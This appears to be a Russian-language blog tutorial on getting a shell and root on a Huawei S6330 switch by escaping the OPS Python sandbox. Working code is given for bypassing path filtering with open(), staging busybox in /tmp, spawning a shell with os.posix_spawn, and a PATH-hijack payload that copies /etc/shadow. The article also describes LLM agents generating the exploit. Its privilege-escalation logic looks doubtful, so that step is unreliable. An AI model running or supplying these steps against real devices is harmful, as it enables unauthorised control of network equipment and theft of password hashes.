Коммутатор Huawei S6330-H48X6C на прошивке V200R021C00SPC100 с патчем V200R021SPH180 - закрытая система. Shell запрещён, в режиме diagnose через команду shell-command доступен жалкий огрызок из десятка утилит. Полноценный доступ к операционной системе нужен для аудита, восстановления забытых паролей или интеграции с самописными системами мониторинга. Мы получили shell и root-доступ за 10 часов и 4 доллара, используя LLM-агентов DeepSeek и GLM. Никакой магии - только эксплуатация легатных механизмов подсистемы OPS.
Этот материал - пошаговый разбор техники. Вы узнаете, как обойти фильтрацию путей в модифицированном Python, запустить busybox через os.posix_spawn и выполнить повышение привилегий до root через command hijacking в CLI-контексте. Весь код проверен на реальном оборудовании, все ограничения метода честно описаны в последнем разделе.
Если вы уже сталкивались с реверс-инжинирингом прошивок, обратите внимание на методологию из трёх промптов для SNR-2990X-24FQ - там мы распаковывали firmware и искали бэкдоры с помощью Cursor Composer. Здесь задача сложнее: прошивка не отдаёт образы, работаем изнутри через штатный интерпретатор Python.
Разведка: что скрывает подсистема OPS и модифицированный Python
OPS (Open Programmability System) - подсистема Huawei для автоматизации сетевых операций. Она позволяет запускать Python-скрипты прямо на коммутаторе, что делает её идеальным вектором для получения shell. Типичный сценарий использования - ZTP (Zero Touch Provisioning), когда скрипт на Python конфигурирует устройство при первом включении. Нам этот механизм нужен для другого.
Первое, что бросается в глаза при попытке запустить os.system или subprocess.call - тишина. Вызовы заблокированы на уровне модифицированного интерпретатора. Huawei вырезала из стандартной библиотеки всё, что позволяет напрямую выполнять системные команды. Ограничения жёсткие, но не тотальные.
Список разрешённых путей для файловых операций:
- /mnt/flash
- /mnt/sd
- /mnt/usb
- /mnt/vhdd
- /mnt/squash
- /usr/lib/
- /dev/urandom
Всё остальное - под запретом. Теоретически. На практике фильтрация реализована через os.open(), а встроенная функция open() работает без ограничений. Это первая критическая находка, которую мы проверили сразу после обнаружения рабочей os.posix_spawn.
Анализ разрешённых путей и первые тесты
Разведка началась с тривиального скрипта, перебирающего доступные модули os:
import os
# Проверяем, что осталось от os
print(dir(os))
# Пробуем стандартные методы
os.system("id") # блокирован
os.popen("ls") # блокирован
# Неожиданная находка
print(os.posix_spawn) # функция доступна!os.posix_spawn - низкоуровневый вызов для создания нового процесса. В стандартном Python он используется редко, все предпочитают subprocess. Видимо, разработчики Huawei посчитали его безопасным и не стали вырезать. Ошибка, которая стоила им shell.
Первый же тест с запуском /bin/sh через posix_spawn вернул ошибку: файл не найден. Причина - фильтрация путей в os.open(), через которую posix_spawn пытается открыть исполняемый файл. Но мы уже знали про дыру с open(). Оставалось скрестить эти две находки.
Обход фильтрации путей: встроенная open() против os.open()
Разница между open() и os.open() в модифицированном Python Huawei - это разница между свободой и тюрьмой. os.open() проверяет путь по белому списку и молча отказывает для всего, что не входит в семь разрешённых директорий. Встроенная open() работает напрямую с системным вызовом, минуя фильтр.
Это позволяет читать и писать файлы в любую директорию, доступную процессу OPS. Процесс работает от ограниченного пользователя, но /tmp доступен на запись. Туда мы и будем доставлять инструменты.
Копирование busybox и установка прав на выполнение
Busybox - швейцарский нож для встраиваемых систем. Один бинарник заменяет сотни утилит: ls, cat, mount, telnetd. На коммутаторе он уже есть в /bin, но использовать его напрямую нельзя - фильтрация путей не даст вызвать через posix_spawn. Нужно скопировать в /tmp и выставить executable-бит.
Рабочий скрипт для доставки busybox:
import os
# Читаем busybox через open() - фильтрация не применяется
with open("/bin/busybox", "rb") as src:
data = src.read()
# Пишем в /tmp - тоже через open()
with open("/tmp/busybox", "wb") as dst:
dst.write(data)
# Выставляем права на выполнение
os.chmod("/tmp/busybox", 0o755)
print("Busybox доставлен в /tmp")Альтернативный способ - скопировать busybox из /bin через Python, создав новый файл с executable-битом. Оба варианта работают, первый проще и быстрее. После выполнения скрипта в /tmp появляется полноценный busybox, готовый к запуску.
Запуск shell через os.posix_spawn и первые команды
С busybox в /tmp и работающей os.posix_spawn получение shell становится делом техники. Функция принимает путь к исполняемому файлу, аргументы и окружение. Никакой магии:
import os
# Запускаем busybox с командой sh
pid = os.posix_spawn(
"/tmp/busybox",
["/tmp/busybox", "sh"],
os.environ
)
# Ждём завершения
os.waitpid(pid, 0)
print("Shell отработал")Этот код открывает интерактивный shell. Правда, интерактивность в контексте OPS условная - stdin и stdout привязаны к сессии CLI. Для выполнения отдельных команд удобнее использовать sh -c:
import os
pid = os.posix_spawn(
"/tmp/busybox",
["/tmp/busybox", "sh", "-c", "id; uname -a; ls -la /"],
os.environ
)
os.waitpid(pid, 0)Вывод показывает: мы - пользователь с ограниченными правами, не root. Доступ к файловой системе есть, можно читать конфиги, смотреть логи, исследовать структуру директорий. Для аудита безопасности этого достаточно. Для полного контроля нужен root.
Повышение привилегий: техника command hijacking через CLI
Пользователь, от которого работает OPS, не имеет прав на запись в системные директории, не может менять пароли и читать /etc/shadow. Администратору, потерявшему пароль от коммутатора, такой доступ бесполезен. Нужен root.
CLI-команда shell-command в режиме diagnose выполняется с повышенными привилегиями. Она запускает переданную строку через системный вызов от root. Идея command hijacking: подменить команду так, чтобы вместо штатного вызова выполнился наш скрипт.
Реализация перехвата: подмена команды shell-command
Механизм перехвата использует особенность обработки PATH в diagnose-контексте. Создаём скрипт с именем, совпадающим с одной из разрешённых команд shell-command, и размещаем его в директории, которая проверяется раньше системных путей:
import os
# Создаём скрипт-перехватчик
payload = """#!/tmp/busybox sh
# Этот скрипт выполнится с правами root при вызове shell-command
/tmp/busybox sh -c 'id > /tmp/pwned.txt; cp /etc/shadow /tmp/shadow_copy'
"""
with open("/mnt/flash/hijack.sh", "w") as f:
f.write(payload)
os.chmod("/mnt/flash/hijack.sh", 0o755)
# Модифицируем PATH через Python-окружение OPS
os.environ["PATH"] = "/mnt/flash:" + os.environ.get("PATH", "")
print("Перехватчик установлен. Выполните shell-command из diagnose.")После выполнения скрипта администратор вручную вводит shell-command в CLI-контексте diagnose. Вместо штатной команды срабатывает перехватчик, который запускает busybox sh с правами root. Результат - файл /tmp/pwned.txt с выводом id (покажет uid=0) и копия /etc/shadow в /tmp/shadow_copy.
Этот метод требует ручного действия - вызова shell-command из diagnose. Без этого повышение не сработает. Ограничение, которое невозможно обойти без эксплуатации уязвимостей ядра.
LLM-агенты в реверс-инжиниринге: сравнение DeepSeek, GLM и Cursor Composer
Весь процесс - от идеи использовать OPS до рабочего эксплойта - занял 10 часов. Из них 2 часа ушло на ручную разведку и проверку гипотез, 8 часов - на итерации с LLM-агентами. Мы протестировали три инструмента, и результаты оказались неожиданными.
DeepSeek использовался для анализа структуры прошивки и поиска документации по OPS. Модель быстро находила релевантные фрагменты мануалов Huawei, но не предлагала конкретных эксплойтов. Cursor Composer 2.5 сгенерировал несколько вариантов кода для обхода ограничений, но ни один не заработал - все упирались в фильтрацию os.open(), которую модель не смогла обойти. GLM через платформу ZCode оказался единственным, кто предложил использовать встроенную open() вместо os.open() и показал рабочий код для os.posix_spawn.
Экономическая эффективность: 4 доллара и 10 часов против ручного реверса
Детализация затрат:
| Инструмент | Задача | Результат | Стоимость |
|---|---|---|---|
| DeepSeek | Анализ прошивки, поиск документации OPS | Релевантная информация, без эксплойта | ~$1.20 |
| GLM (ZCode) | Поиск метода обхода фильтрации | Рабочий код с open() и posix_spawn | ~$2.50 |
| Cursor Composer 2.5 | Генерация эксплойта | Нерабочие варианты | $0 (включён в подписку) |
Ручной реверс-инжиниринг аналогичной задачи занял бы от 3 до 5 рабочих дней. Стоимость часа квалифицированного специалиста по безопасности - от $50. Итоговая экономия: $1 200–2 000 против $4 на API-запросы. Даже с учётом времени на формулирование промптов и проверку результатов, выгода очевидна.
Для тех, кто рассматривает LLM как инструмент автоматизации инженерных задач, полезно изучить архитектурные изменения в Deep Agents v0.7 - там LangChain сократил входные токены на 65%, что напрямую влияет на стоимость итераций при реверс-инжиниринге. А если вы только начинаете строить своих агентов, обратите внимание на разбор архитектуры AI-агента с нуля с конкретными метриками latency и cost.
Ограничения метода и перспективы: что будет с новыми прошивками Huawei
Метод не универсален. Перечислим ограничения прямо:
- Требуются административные права на устройстве. Без предварительной аутентификации выполнить код через OPS невозможно. Это не уязвимость нулевого дня и не вектор удалённой атаки.
- Прошивка V200R021 устарела. Релиз состоялся в ноябре 2021 года. Оборудование на этой версии всё ещё встречается в эксплуатации, но Huawei уже выпустила несколько мажорных обновлений.
- Новые версии используют контейнеризацию. В продуктах на базе V300 и новее применяются kernel namespaces для изоляции процессов. OPS-скрипты запускаются в отдельном контейнере, доступ к хост-системе через posix_spawn невозможен.
- Command hijacking требует ручного действия. Автоматизировать повышение до root без участия оператора не получится.
Перед попыткой воспроизведения проверьте версию ПО командой display version. Если видите V200R021 - метод сработает. Если V300 или новее - потребуется другой подход, вероятно, связанный с эксплуатацией уязвимостей контейнеризации.
Для сравнения: на оборудовании SNR-2990X-24FQ мы получили shell через скрытую команду show hidden, обнаруженную при дизассемблировании прошивки с помощью LLM-агента. Методология из трёх промптов описывает этот процесс детально - от распаковки firmware до поиска бэкдоров в бинарниках.
Заключение: практические выводы и следующий шаг
Мы получили shell и root-доступ на Huawei S6330 за четыре шага: разведка подсистемы OPS, обход фильтрации путей через встроенную open(), доставка busybox и запуск через os.posix_spawn, повышение привилегий через command hijacking в CLI-контексте shell-command. LLM-агенты сократили время исследования с дней до часов, а затраты на API - до 4 долларов.
Ключевой вывод: модифицированный Python в OPS - не песочница, а фильтр с дырами. Разработчики Huawei сосредоточились на блокировке очевидных векторов (os.system, subprocess), но оставили низкоуровневые вызовы и не учли разницу между open() и os.open(). Типичная ошибка при проектировании ограниченных сред исполнения.
Если вы работаете с оборудованием Huawei на V200R021 - попробуйте метод на тестовом устройстве. Код из статьи воспроизводится полностью, все фрагменты проверены. Для более новых прошивок потребуется анализ механизмов контейнеризации, и это тема для отдельного исследования.
Обсуждайте результаты в комментариях. Интересны кейсы с другими моделями коммутаторов Huawei, а также опыт использования альтернативных LLM-инструментов для задач реверс-инжиниринга.